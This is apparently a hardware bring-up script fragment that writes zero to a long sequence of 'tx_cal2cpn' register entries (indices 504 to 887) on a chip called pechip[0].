bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 504 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 505 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 506 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 507 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 508 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 509 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 510 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 511 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 512 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 513 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 514 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 515 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 516 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 517 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 518 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 519 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 520 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 521 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 522 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 523 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 524 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 525 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 526 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 527 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 528 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 529 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 530 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 531 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 532 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 533 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 534 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 535 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 536 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 537 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 538 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 539 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 540 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 541 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 542 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 543 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 544 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 545 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 546 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 547 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 548 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 549 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 550 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 551 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 552 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 553 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 554 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 555 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 556 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 557 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 558 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 559 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 560 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 561 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 562 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 563 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 564 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 565 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 566 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 567 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 568 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 569 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 570 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 571 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 572 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 573 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 574 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 575 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 576 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 577 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 578 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 579 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 580 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 581 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 582 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 583 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 584 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 585 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 586 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 587 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 588 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 589 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 590 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 591 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 592 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 593 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 594 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 595 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 596 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 597 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 598 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 599 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 600 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 601 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 602 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 603 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 604 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 605 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 606 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 607 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 608 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 609 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 610 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 611 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 612 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 613 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 614 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 615 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 616 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 617 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 618 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 619 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 620 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 621 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 622 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 623 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 624 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 625 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 626 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 627 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 628 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 629 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 630 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 631 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 632 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 633 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 634 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 635 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 636 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 637 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 638 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 639 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 640 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 641 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 642 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 643 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 644 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 645 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 646 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 647 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 648 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 649 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 650 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 651 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 652 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 653 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 654 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 655 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 656 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 657 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 658 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 659 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 660 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 661 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 662 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 663 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 664 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 665 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 666 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 667 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 668 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 669 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 670 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 671 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 672 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 673 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 674 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 675 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 676 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 677 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 678 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 679 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 680 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 681 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 682 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 683 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 684 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 685 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 686 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 687 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 688 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 689 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 690 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 691 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 692 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 693 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 694 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 695 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 696 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 697 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 698 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 699 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 700 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 701 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 702 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 703 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 704 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 705 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 706 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 707 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 708 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 709 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 710 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 711 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 712 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 713 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 714 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 715 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 716 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 717 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 718 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 719 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 720 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 721 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 722 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 723 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 724 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 725 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 726 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 727 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 728 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 729 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 730 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 731 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 732 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 733 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 734 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 735 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 736 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 737 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 738 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 739 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 740 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 741 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 742 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 743 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 744 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 745 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 746 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 747 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 748 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 749 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 750 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 751 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 752 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 753 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 754 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 755 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 756 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 757 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 758 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 759 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 760 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 761 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 762 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 763 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 764 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 765 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 766 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 767 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 768 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 769 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 770 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 771 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 772 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 773 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 774 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 775 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 776 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 777 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 778 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 779 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 780 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 781 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 782 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 783 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 784 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 785 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 786 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 787 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 788 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 789 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 790 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 791 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 792 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 793 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 794 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 795 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 796 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 797 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 798 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 799 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 800 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 801 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 802 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 803 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 804 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 805 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 806 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 807 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 808 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 809 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 810 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 811 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 812 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 813 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 814 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 815 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 816 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 817 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 818 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 819 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 820 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 821 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 822 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 823 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 824 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 825 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 826 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 827 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 828 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 829 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 830 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 831 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 832 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 833 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 834 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 835 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 836 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 837 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 838 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 839 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 840 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 841 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 842 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 843 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 844 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 845 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 846 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 847 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 848 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 849 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 850 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 851 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 852 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 853 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 854 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 855 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 856 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 857 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 858 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 859 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 860 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 861 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 862 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 863 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 864 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 865 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 866 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 867 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 868 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 869 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 870 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 871 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 872 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 873 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 874 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 875 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 876 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 877 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 878 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 879 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 880 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 881 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 882 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 883 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 884 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 885 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 886 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 887 0x00000000
